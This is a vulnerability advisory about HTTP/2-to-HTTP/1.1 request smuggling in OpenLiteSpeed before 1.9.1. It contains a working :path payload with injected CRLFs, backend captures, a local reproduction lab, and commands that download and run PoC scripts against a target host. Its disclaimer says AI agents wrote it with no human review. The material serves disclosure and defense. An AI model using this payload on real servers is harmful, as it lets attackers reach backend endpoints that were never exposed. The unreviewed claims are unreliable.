← warez.sl0p.foo

OpenLiteSpeed H2→H1 Request Smuggling

2026-07-06 · CRITICAL · silent fix in 3d16d477 ("Check in 1.9.1") · no CVE assigned

Summary

OpenLiteSpeed < 1.9.1 accepts HTTP/2 :path pseudo-header values containing SP (0x20), HTAB (0x09), CR (0x0d), and LF (0x0a). The value is stored verbatim in the reconstructed HTTP/1.1 request buffer and forwarded byte-for-byte to proxy backends via ProxyConn::sendReqHeader().

A single HTTP/2 request becomes two HTTP/1.1 requests on the backend connection. The second (smuggled) request bypasses OLS's URL routing — reaching backend endpoints that OLS was never configured to expose.

Affected Versions

SoftwareOpenLiteSpeed
VulnerableAll versions before 1.9.1 — including 1.8.x, 1.7.x, and all prior releases
Fixed in1.9.1 (commit 3d16d477, 2026-07-01)
LiteSpeed EnterpriseUnknown — closed source; may share the same src/h2 codebase
DisclosureSilent — commit message is "Check in 1.9.1", no CVE, no advisory
Trigger conditionAny context with type proxy (reverse-proxy mode)
Auth requiredNo — unauthenticated, remote

Who is affected

Any deployment where OpenLiteSpeed terminates HTTP/2 and proxies requests to a backend over HTTP/1.1. This is the standard architecture for:

Deployments that only use LSAPI or FastCGI are not affected — those protocols use binary framing, not raw HTTP/1.1 forwarding. Pure static-file serving is also not affected.

What the fix does NOT backport to

The fix exists only on the master branch (1.9.1). The following release branches do not contain it: v1_8, v1_7, v1_6, v1_5, v1_4, v1_3, v1_2, v1_0. If you are pinned to any 1.8.x or earlier release, you are vulnerable with no patch available from upstream.

Root Cause

The HPACK header processor (UpkdHdrBuilder::process() in src/h2/unpackedheaders.cpp) performed a generic field-value character scan before pseudo-header dispatch. The scan used the high nibble of a lookup table that allowed SP and HTAB in values (legal for general headers, fatal for pseudo-headers copied into the request line).

No validation existed for :path or :scheme at all. :method had a partial guard (memchr(val, ' ', len) only for methods >7 chars).

The fix introduces per-pseudo-header validation with UPK_TGT_BAD and UPK_MTH_BAD flag bits that reject request-line-unsafe bytes in a single pass.

Exploitation Path

Confirmed by source audit and live testing against OLS 1.9.0.1:

  1. UpkdHdrBuilder::process():path with CRLF passes validation
  2. HttpReq::processUnpackedHeaders() — URL boundaries come from getUrlLen() (HPACK length), not by scanning for spaces. CRLF bytes survive into m_headerBuf
  3. m_iHttpHeaderEnd = m_headerBuf.size() — the entire buffer (including injected CRLFs) is marked as header data
  4. ProxyConn::sendReqHeader() — calls pReq->getOrgReqLine() and forwards getHttpHeaderLen() bytes verbatim over TCP to the backend

Attack Scenario

OLS proxies /api/* to a backend at 127.0.0.1:3000. The backend also serves /admin/* internally — not exposed through OLS (no proxy context for it). The attacker sends one HTTP/2 request:

:method    = GET
:path      = /api/status HTTP/1.1\r\nHost: target\r\nContent-Length: 0\r\n\r\nGET /admin/users
:scheme    = https
:authority = target.example.com

OLS reconstructs and forwards to the backend:

┌─── Request 1 (matches /api/ context → proxied) ───
GET /api/status HTTP/1.1
Host: target
Content-Length: 0

┌─── Request 2 (SMUGGLED — bypasses OLS routing) ───
GET /admin/users HTTP/1.1
host: target.example.com
X-Forwarded-For: attacker-ip
X-Forwarded-Proto: https
Accept-Encoding: gzip

Confirmed Backend Capture

Tested against OLS 1.9.0.1 (commit 28f7da33) with a netcat backend on 127.0.0.1:9999. This is the exact output the backend received from a single H2 request:

GET /proxy/public HTTP/1.1
Host: 127.0.0.1
Content-Length: 0

GET /internal-api/admin/users HTTP/1.1
host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Proto: https
Accept-Encoding: gzip
X-Forwarded-For: 127.0.0.1

Reproduce It Yourself

The following sets up a minimal vulnerable OLS instance from source. Tested on Arch Linux; adapt package names for your distro.

1. Build OLS 1.9.0.1 (last vulnerable version)

# Clone and checkout the vulnerable version
git clone https://github.com/litespeedtech/openlitespeed.git ols-vuln
cd ols-vuln
git checkout 28f7da33    # "Check in 1.9.0.1"

# Run the build script (fetches boringssl + deps, compiles everything)
# On Debian/Ubuntu:
sudo bash build.sh

# Or install from the official OLS repo — any version < 1.9.1 works:
# https://openlitespeed.org/kb/install-ols-from-litespeed-repositories/

2. Minimal OLS config

This is the entire config needed. One TLS listener, one proxy context. The backend at 127.0.0.1:9999 is where we'll capture traffic.

# /tmp/ols-test/conf/httpd_config.conf
serverName              test
user                    nobody
group                   nogroup

# Self-signed cert (generate with openssl req -x509 -newkey rsa:2048 ...)
listener https {
  address               *:8443
  secure                1
  keyFile               $SERVER_ROOT/conf/server.key
  certFile              $SERVER_ROOT/conf/server.crt
  map                   testvhost *
}

extprocessor backend {
  type                  proxy
  address               127.0.0.1:9999
  maxConns              10
}

virtualhost testvhost {
  vhRoot                /tmp/ols-test/
  docRoot               $VH_ROOT/html/

  # This is the vulnerable context — any proxy context triggers it
  context /proxy/ {
    type                proxy
    handler             backend
  }
}

3. Start OLS and a capture backend

# Generate self-signed cert
openssl req -x509 -newkey rsa:2048 -nodes \
  -keyout /tmp/ols-test/conf/server.key \
  -out /tmp/ols-test/conf/server.crt \
  -subj "/CN=localhost" -days 365

# Create docroot
mkdir -p /tmp/ols-test/html
echo "ok" > /tmp/ols-test/html/index.html

# Start OLS
export LSWS_HOME=/tmp/ols-test
/path/to/openlitespeed -c /tmp/ols-test/conf/httpd_config.conf

# Verify H2 works
curl -k --http2 https://127.0.0.1:8443/  # should return "ok" or 404

# Start a netcat listener as the "backend" — captures raw bytes
(echo -ne "HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK" \
  | ncat -l 127.0.0.1 9999) &

4. Fire the PoC

# Download the PoC scripts
wget https://warez.sl0p.foo/ols-h2-smuggle/poc_h2_request_smuggling.py
wget https://warez.sl0p.foo/ols-h2-smuggle/h2_frame_helpers.py

# Send the smuggling payload
python3 poc_h2_request_smuggling.py 127.0.0.1 8443 --tls \
  --decoy "/proxy/public" \
  --target "/internal-api/admin/users" \
  --vhost "127.0.0.1"

5. Check what the backend received

The ncat output (or check its stdout) shows two separate HTTP/1.1 requests from a single H2 request:

GET /proxy/public HTTP/1.1       ← request 1 (decoy, matched /proxy/ context)
Host: 127.0.0.1
Content-Length: 0
                                 ← empty line ends request 1
GET /internal-api/admin/users HTTP/1.1  ← request 2 (SMUGGLED)
host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Proto: https
Accept-Encoding: gzip
X-Forwarded-For: 127.0.0.1

The second request reached the backend despite /internal-api/ having no proxy context in OLS. The backend processes it as a normal request.

To verify the fix works, repeat with OLS ≥ 1.9.1. The server will reject the :path and return an error — the backend receives nothing.

Impact

PoC

poc_h2_request_smuggling.py — smuggling PoC (main script)
sha256: 6b77439465c710729b3619ee66c3ba4d3ff9fcb1a41463ac697642af35d9b3f9

h2_frame_helpers.py — raw H2 frame library (required)
sha256: d0db5b8c6b5d3b3e6a939e97ac84e8a624f1ba6827c912066d32bf7b6138df1a

No external dependencies — raw sockets only. Python 3.8+.

# Dry-run: show the crafted bytes without connecting
python3 poc_h2_request_smuggling.py 127.0.0.1 8443 --tls --dry-run

# Live test against a vulnerable OLS instance
# (start a netcat backend first: ncat -l 127.0.0.1 9999)
python3 poc_h2_request_smuggling.py TARGET 443 --tls \
  --decoy "/api/status" \
  --target "/admin/users" \
  --vhost "target.example.com"

Fix

Upgrade to OpenLiteSpeed ≥ 1.9.1, or cherry-pick commit 3d16d477.

The fix adds validateReqValue() with per-pseudo-header character masks: :path rejects SP/HTAB/\; :method rejects SP/HTAB; :authority and :scheme get general value validation.

Timeline

2026-01-08Partial fix in 1.8.5 — memchr(val,' ',len) for methods >7 chars only
2026-07-01Complete fix in 1.9.1 — validateReqValue() with character table
2026-07-06Independent rediscovery via source audit; confirmed on 1.9.0.1 test instance
No CVE assigned. No vendor advisory published.

Related Commits (silent h2 fixes in the same window)

SHASevBug
f4a6f0f8HIGHConnection-level receive flow-control window never enforced
b43ad585HIGHUninitialized HPACK pseudo-header slots (stale pointers from pool)
0c62f1d0HIGHRapid-reset mitigation bypass (server-initiated RSTs uncounted)
e81535f7MEDIUMNULL deref in onPeerShutdown — remote crash
Disclaimer — This advisory, including all analysis, proof-of-concept code, and reproduction steps, was autonomously produced by AI coding agents (LLM-driven static analysis and automated testing). No human reviewed the output for correctness prior to publication. The findings may contain errors, false positives, or inaccurate severity assessments. All materials are provided as-is with absolutely no warranty. Use at your own risk and validate independently before acting on any claims made herein. Published for defensive research purposes only.